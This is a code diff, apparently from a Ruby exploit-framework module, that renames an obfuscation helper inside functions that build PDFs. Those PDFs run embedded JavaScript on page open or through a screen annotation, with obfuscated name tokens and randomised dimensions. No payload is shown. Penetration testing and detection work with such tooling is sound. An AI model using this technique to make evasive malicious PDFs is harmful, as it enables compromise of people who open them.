@@ -186,7 +186,7 @@ def xref_table
186
186
end
187
187
188
188
def trailer ( root_obj )
189
- ret = "trailer" << nObfu ( "<</Size %d/Root " % ( @xref . length + 1 ) ) << io_ref ( root_obj ) << ">>" << eol
189
+ ret = "trailer" << nobfu ( "<</Size %d/Root " % ( @xref . length + 1 ) ) << io_ref ( root_obj ) << ">>" << eol
190
190
ret
191
191
end
192
192
@@ -277,10 +277,10 @@ def pdf_with_page_exploit(js,strFilter)
277
277
@pdf = ''
278
278
279
279
@pdf << header
280
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu ("/Pages ") << io_ref(3) << ">>")
281
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
282
- add_object(3, nObfu ("<</Type/Pages/Kids[") << io_ref(4) << nObfu ("]/Count 1>>"))
283
- add_object(4, nObfu ("<</Type/Page/Parent ") << io_ref(3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /AA << /O << /JS ") << io_ref(5) << nObfu ("/S /JavaScript >>>>>>"))
280
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu ("/Pages ") << io_ref(3) << ">>")
281
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
282
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref(4) << nobfu ("]/Count 1>>"))
283
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref(3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /AA << /O << /JS ") << io_ref(5) << nobfu ("/S /JavaScript >>>>>>"))
284
284
compressed = js
285
285
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
286
286
stream << "stream" << eol
@@ -301,10 +301,10 @@ def pdf_with_openaction_js(js,strFilter)
301
301
302
302
@pdf << header
303
303
304
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu ("/Pages ") << io_ref(3) << ">>")
305
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
306
- add_object(3, nObfu ("<</Type/Pages/Kids[") << io_ref(4) << nObfu ("]/Count 1>>"))
307
- add_object(4, nObfu ("<</Type/Page/Parent ") << io_ref(3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /AA << /O << /JS ") << io_ref(5) << nObfu ("/S /JavaScript >>>>>>"))
304
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu ("/Pages ") << io_ref(3) << ">>")
305
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
306
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref(4) << nobfu ("]/Count 1>>"))
307
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref(3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /AA << /O << /JS ") << io_ref(5) << nobfu ("/S /JavaScript >>>>>>"))
308
308
compressed = js
309
309
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
310
310
stream << "stream" << eol
@@ -324,11 +324,11 @@ def pdf_with_annot_js(js,strFilter)
324
324
325
325
@pdf << header
326
326
327
- add_object(1, nObfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu ("/Pages ") << io_ref(3) << ">>")
328
- add_object(2, nObfu ("<</Type/Outlines/Count 0>>"))
329
- add_object(3, nObfu ("<</Type/Pages/Kids[") << io_ref(4) << nObfu ("]/Count 1>>"))
330
- add_object(4, nObfu ("<</Type/Page/Parent ") << io_ref(3) << nObfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu (" /Annots [") << io_ref(5) << nObfu ("]>>"))
331
- add_object(5, nObfu ("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nObfu ("/S /JavaScript >>>>>>"))
327
+ add_object(1, nobfu ("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu ("/Pages ") << io_ref(3) << ">>")
328
+ add_object(2, nobfu ("<</Type/Outlines/Count 0>>"))
329
+ add_object(3, nobfu ("<</Type/Pages/Kids[") << io_ref(4) << nobfu ("]/Count 1>>"))
330
+ add_object(4, nobfu ("<</Type/Page/Parent ") << io_ref(3) << nobfu ("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu (" /Annots [") << io_ref(5) << nobfu ("]>>"))
331
+ add_object(5, nobfu ("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu ("/S /JavaScript >>>>>>"))
332
332
compressed = js
333
333
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
334
334
stream << "stream" << eol
0 commit comments